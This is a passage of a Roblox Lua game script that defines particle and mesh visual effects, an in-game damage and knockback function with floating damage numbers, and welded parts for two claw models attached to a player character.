  2144. prt.Anchored=true
  2145. prt.CFrame=cframe
  2146. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2147. game:GetService("Debris"):AddItem(prt,5)
  2148. coroutine.resume(coroutine.create(function(Part,Mesh)
  2149. for i=0,1,delay do
  2150. wait()
  2151. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2152. Part.Transparency=i
  2153. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2154. end
  2155. Part.Parent=nil
  2156. end),prt,msh)
  2157. end
  2158.  
  2159. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2160. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2161. prt.Anchored=false
  2162. prt.CFrame=cframe
  2163. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2164. local wld=weld(prt,prt,Parent,cframe)
  2165. game:GetService("Debris"):AddItem(prt,5)
  2166. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2167. for i=0,1,delay do
  2168. wait()
  2169. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2170. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2171. Part.Transparency=i
  2172. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2173. end
  2174. Part.Parent=nil
  2175. end),prt,msh,wld)
  2176. end
  2177.  
  2178. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2179. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2180. prt.Anchored=false
  2181. prt.CFrame=cframe
  2182. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2183. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2184. game:GetService("Debris"):AddItem(prt,5)
  2185. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2186. for i=0,1,delay do
  2187. wait()
  2188. Weld.C0=euler(i*20,0,0)
  2189. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2190. Part.Transparency=i
  2191. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2192. end
  2193. Part.Parent=nil
  2194. end),prt,msh,wld)
  2195. end
  2196.  
  2197. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2198. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2199. prt.Anchored=true
  2200. prt.CFrame=cframe
  2201. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2202. game:GetService("Debris"):AddItem(prt,2)
  2203. coroutine.resume(coroutine.create(function(Part,Mesh)
  2204. for i=0,1,delay do
  2205. wait()
  2206. Part.CFrame=Part.CFrame
  2207. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2208. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2209. prt2.Anchored=true
  2210. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2211. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2212. game:GetService("Debris"):AddItem(prt2,2)
  2213. coroutine.resume(coroutine.create(function(Part,Mesh)
  2214. for i=0,1,0.1 do
  2215. wait()
  2216. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2217. end
  2218. Part.Parent=nil
  2219. end),prt2,msh2)
  2220. end
  2221. for i=0,1,delay*2 do
  2222. wait()
  2223. Part.CFrame=Part.CFrame
  2224. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2225. end
  2226. Part.Parent=nil
  2227. end),prt,msh)
  2228. end
  2229.  
  2230. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2231. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2232. prt.Anchored=true
  2233. prt.CFrame=cframe
  2234. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2235. game:GetService("Debris"):AddItem(prt,2)
  2236. coroutine.resume(coroutine.create(function(Part,Mesh)
  2237. for i=0,1,delay do
  2238. wait()
  2239. Part.CFrame=Part.CFrame
  2240. Part.Transparency=i
  2241. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2242. end
  2243. Part.Parent=nil
  2244. end),prt,msh)
  2245. end
  2246.  
  2247. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2248. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2249. prt.Anchored=true
  2250. prt.CFrame=cframe*euler(x2,y2,z2)
  2251. --"http://www.roblox.com/asset/?id=168892465"
  2252. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2253. game:GetService("Debris"):AddItem(prt,2)
  2254. coroutine.resume(coroutine.create(function(Part,Mesh)
  2255. for i=0,1,0.03 do
  2256. wait()
  2257. Part.CFrame=Part.CFrame
  2258. Part.Transparency=i
  2259. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2260. end
  2261. Part.Parent=nil
  2262. end),prt,msh)
  2263. end
  2264.  
  2265. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2266. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2267. prt.Anchored=true
  2268. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2269. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2270. game:GetService("Debris"):AddItem(prt,2)
  2271. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2272. CF=Part.CFrame
  2273. Numbb=0
  2274. randnumb=math.random()/10
  2275. rand1=math.random()/10
  2276. for i=0,1,rand1 do
  2277. wait()
  2278. CF=CF*cf(0,math.random()/2,0)
  2279. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2280. Part.CFrame=CF*euler(Numbb,0,0)
  2281. Part.Transparency=i
  2282. Numbb=Numbb+randnumb
  2283. end
  2284. Part.Parent=nil
  2285. end),prt,CF,Numbb,randnumb)
  2286. end
  2287.  
  2288. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2289. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2290. prt.Anchored=true
  2291. prt.CFrame=cframe
  2292. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2293. game:GetService("Debris"):AddItem(prt,5)
  2294. coroutine.resume(coroutine.create(function(Part,Mesh)
  2295. for i=0,1,delay do
  2296. wait()
  2297. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2298. Part.Transparency=i
  2299. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2300. end
  2301. Part.Parent=nil
  2302. end),prt,msh)
  2303. end
  2304.  
  2305. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2306. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2307. prt.Anchored=true
  2308. prt.CFrame=cframe
  2309. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2310. game:GetService("Debris"):AddItem(prt,2)
  2311. coroutine.resume(coroutine.create(function(Part,Mesh)
  2312. for i=0,1,delay do
  2313. wait()
  2314. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2315. Part.Transparency=i
  2316. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2317. end
  2318. Part.Parent=nil
  2319. end),prt,msh)
  2320. end
  2321.  
  2322. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2323. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2324. prt.Anchored=true
  2325. prt.CFrame=cframe*cf(x,y,z)
  2326. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2327. game:GetService("Debris"):AddItem(prt,5)
  2328. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2329. local num=math.random()
  2330. local num2=math.random(-3,2)+math.random()
  2331. local numm=0
  2332. for i=0,1,delay*2 do
  2333. swait()
  2334. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2335. Part.Transparency=i
  2336. numm=numm+0.01
  2337. end
  2338. Part.Parent=nil
  2339. Mesh.Parent=nil
  2340. end),prt,msh,x,y,z)
  2341. end
  2342.  
  2343. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2344. if hit.Parent==nil then
  2345. return
  2346. end
  2347. h=hit.Parent:FindFirstChild("Humanoid")
  2348. for _,v in pairs(hit.Parent:children()) do
  2349. if v:IsA("Humanoid") then
  2350. h=v
  2351. end
  2352. end
  2353. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2354. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2355. end
  2356. if hit.Parent.className=="Hat" then
  2357. hit=hit.Parent.Parent:findFirstChild("Head")
  2358. end
  2359. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2360. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2361. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2362. return
  2363. end]]
  2364. -- hs(hit,1.2)
  2365. c=Instance.new("ObjectValue")
  2366. c.Name="creator"
  2367. c.Value=owner
  2368. c.Parent=h
  2369. game:GetService("Debris"):AddItem(c,.5)
  2370. Damage=math.random(minim,maxim)
  2371. -- h:TakeDamage(Damage)
  2372. blocked=false
  2373. block=hit.Parent:findFirstChild("Block")
  2374. if block~=nil then
  2375. print(block.className)
  2376. if block.className=="NumberValue" then
  2377. if block.Value>0 then
  2378. blocked=true
  2379. if decreaseblock==nil then
  2380. block.Value=block.Value-1
  2381. end
  2382. end
  2383. end
  2384. if block.className=="IntValue" then
  2385. if block.Value>0 then
  2386. blocked=true
  2387. if decreaseblock~=nil then
  2388. block.Value=block.Value-1
  2389. end
  2390. end
  2391. end
  2392. end
  2393. if blocked==false then
  2394. -- h:TakeDamage(Damage)
  2395. h.Health=h.Health-Damage
  2396. showDamage(hit.Parent,Damage,.5,TorsoColor)
  2397. else
  2398. h.Health=h.Health-(Damage/2)
  2399. showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2400. end
  2401. if Type=="Knockdown" then
  2402. hum=hit.Parent.Humanoid
  2403. hum.PlatformStand=true
  2404. coroutine.resume(coroutine.create(function(HHumanoid)
  2405. swait(1)
  2406. HHumanoid.PlatformStand=false
  2407. end),hum)
  2408. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2409. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2410. local bodvol=Instance.new("BodyVelocity")
  2411. bodvol.velocity=angle*knockback
  2412. bodvol.P=5000
  2413. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2414. bodvol.Parent=hit
  2415. rl=Instance.new("BodyAngularVelocity")
  2416. rl.P=3000
  2417. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2418. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2419. rl.Parent=hit
  2420. game:GetService("Debris"):AddItem(bodvol,.5)
  2421. game:GetService("Debris"):AddItem(rl,.5)
  2422. elseif Type=="Normal" then
  2423. vp=Instance.new("BodyVelocity")
  2424. vp.P=500
  2425. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2426. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2427. if KnockbackType==1 then
  2428. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2429. elseif KnockbackType==2 then
  2430. vp.velocity=Property.CFrame.lookVector*knockback
  2431. end
  2432. if knockback>0 then
  2433. vp.Parent=hit.Parent.Torso
  2434. end
  2435. game:GetService("Debris"):AddItem(vp,.5)
  2436. elseif Type=="Up" then
  2437. local bodyVelocity=Instance.new("BodyVelocity")
  2438. bodyVelocity.velocity=vt(0,10,0)
  2439. bodyVelocity.P=1000
  2440. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2441. bodyVelocity.Parent=hit
  2442. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2443. rl=Instance.new("BodyAngularVelocity")
  2444. rl.P=3000
  2445. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2446. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2447. rl.Parent=hit
  2448. game:GetService("Debris"):AddItem(rl,.5)
  2449. elseif Type=="Snare" then
  2450. bp=Instance.new("BodyPosition")
  2451. bp.P=2000
  2452. bp.D=100
  2453. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2454. bp.position=hit.Parent.Torso.Position
  2455. bp.Parent=hit.Parent.Torso
  2456. game:GetService("Debris"):AddItem(bp,1)
  2457. elseif Type=="Target" then
  2458. if Targetting==false then
  2459. ZTarget=hit.Parent.Torso
  2460. coroutine.resume(coroutine.create(function(Part)
  2461. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2462. swait(5)
  2463. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2464. end),ZTarget)
  2465. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2466. targetgui=Instance.new("BillboardGui")
  2467. targetgui.Parent=ZTarget
  2468. targetgui.Size=UDim2.new(10,100,10,100)
  2469. targ=Instance.new("ImageLabel")
  2470. targ.Parent=targetgui
  2471. targ.BackgroundTransparency=1
  2472. targ.Image="rbxassetid://4834067"
  2473. targ.Size=UDim2.new(1,0,1,0)
  2474. cam.CameraType="Scriptable"
  2475. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2476. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2477. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2478. Targetting=true
  2479. RocketTarget=ZTarget
  2480. for i=1,Property do
  2481. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2482. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2483. swait()
  2484. end
  2485. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2486. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2487. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2488. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2489. end
  2490. Targetting=false
  2491. RocketTarget=nil
  2492. targetgui.Parent=nil
  2493. cam.CameraType="Custom"
  2494. end
  2495. end
  2496. debounce=Instance.new("BoolValue")
  2497. debounce.Name="DebounceHit"
  2498. debounce.Parent=hit.Parent
  2499. debounce.Value=true
  2500. game:GetService("Debris"):AddItem(debounce,Delay)
  2501. c=Instance.new("ObjectValue")
  2502. c.Name="creator"
  2503. c.Value=Player
  2504. c.Parent=h
  2505. game:GetService("Debris"):AddItem(c,.5)
  2506. CRIT=false
  2507. hitDeb=true
  2508. AttackPos=6
  2509. end
  2510. end
  2511.  
  2512. showDamage=function(Char,Dealt,du,Color)
  2513. m=Instance.new("Model")
  2514. m.Name=tostring(Dealt)
  2515. h=Instance.new("Humanoid")
  2516. h.Health=0
  2517. h.MaxHealth=0
  2518. h.Parent=m
  2519. c=Instance.new("Part")
  2520. c.Transparency=0
  2521. c.BrickColor=TorsoColor
  2522. c.Name="Head"
  2523. c.TopSurface=0
  2524. c.BottomSurface=0
  2525. c.formFactor="Plate"
  2526. c.Size=Vector3.new(1,.4,1)
  2527. ms=Instance.new("CylinderMesh")
  2528. ms.Scale=Vector3.new(.8,.8,.8)
  2529. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2530. if CRIT==true then
  2531. ms.Scale=Vector3.new(1,1.25,1)
  2532. end
  2533. ms.Parent=c
  2534. c.Reflectance=0
  2535. Instance.new("BodyGyro").Parent=c
  2536. c.Parent=m
  2537. if Char:findFirstChild("Head")~=nil then
  2538. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2539. elseif Char.Parent:findFirstChild("Head")~=nil then
  2540. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2541. end
  2542. f=Instance.new("BodyPosition")
  2543. f.P=2000
  2544. f.D=100
  2545. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2546. f.position=c.Position+Vector3.new(0,3,0)
  2547. f.Parent=c
  2548. game:GetService("Debris"):AddItem(m,.5+du)
  2549. c.CanCollide=false
  2550. m.Parent=workspace
  2551. c.CanCollide=false
  2552. end
  2553.  
  2554. Player=owner
  2555. Character=Player.Character
  2556.  
  2557. m=Instance.new('Model',Character)
  2558.  
  2559.  
  2560. local function weldBetween(a, b)
  2561. local weldd = Instance.new("ManualWeld")
  2562. weldd.Part0 = a
  2563. weldd.Part1 = b
  2564. weldd.C0 = CFrame.new()
  2565. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2566. weldd.Parent = a
  2567. return weldd
  2568. end
  2569.  
  2570. it=Instance.new
  2571.  
  2572. function nooutline(part)
  2573. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2574. end
  2575.  
  2576. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2577. local fp=it("Part")
  2578. fp.formFactor=formfactor
  2579. fp.Parent=parent
  2580. fp.Reflectance=reflectance
  2581. fp.Transparency=transparency
  2582. fp.CanCollide=false
  2583. fp.Locked=true
  2584. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2585. fp.Name=name
  2586. fp.Size=size
  2587. fp.Position=Character.Torso.Position
  2588. nooutline(fp)
  2589. fp.Material=material
  2590. fp:BreakJoints()
  2591. return fp
  2592. end
  2593.  
  2594. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2595. local mesh=it(Mesh)
  2596. mesh.Parent=part
  2597. if Mesh=="SpecialMesh" then
  2598. mesh.MeshType=meshtype
  2599. mesh.MeshId=meshid
  2600. end
  2601. mesh.Offset=offset
  2602. mesh.Scale=scale
  2603. return mesh
  2604. end
  2605.  
  2606. function weld(parent,part0,part1,c0,c1)
  2607. local weld=it("Weld")
  2608. weld.Parent=parent
  2609. weld.Part0=part0
  2610. weld.Part1=part1
  2611. weld.C0=c0
  2612. weld.C1=c1
  2613. return weld
  2614. end
  2615.  
  2616. local modelzorz=Instance.new("Model")
  2617. modelzorz.Parent=Character
  2618. modelzorz.Name="Claw1"
  2619.  
  2620. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2621. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2622. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2623. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2624. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2625. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2626. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2627. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2628. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2629. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2630. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2631. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2632. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2633. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2634. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2635. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2636. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2637. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2638. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2639. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2640. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2641. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2642. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2643. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2644. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2645. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2646. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2647. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2648. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2649. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2650. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2651. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2652. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2653. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2654. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2655. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2656. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2657. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2658. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2659. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2660. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2661.  
  2662. local modelzorz2=Instance.new("Model")
  2663. modelzorz2.Parent=Character
  2664. modelzorz2.Name="Claw2"
  2665.  
  2666. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2667. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2668. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
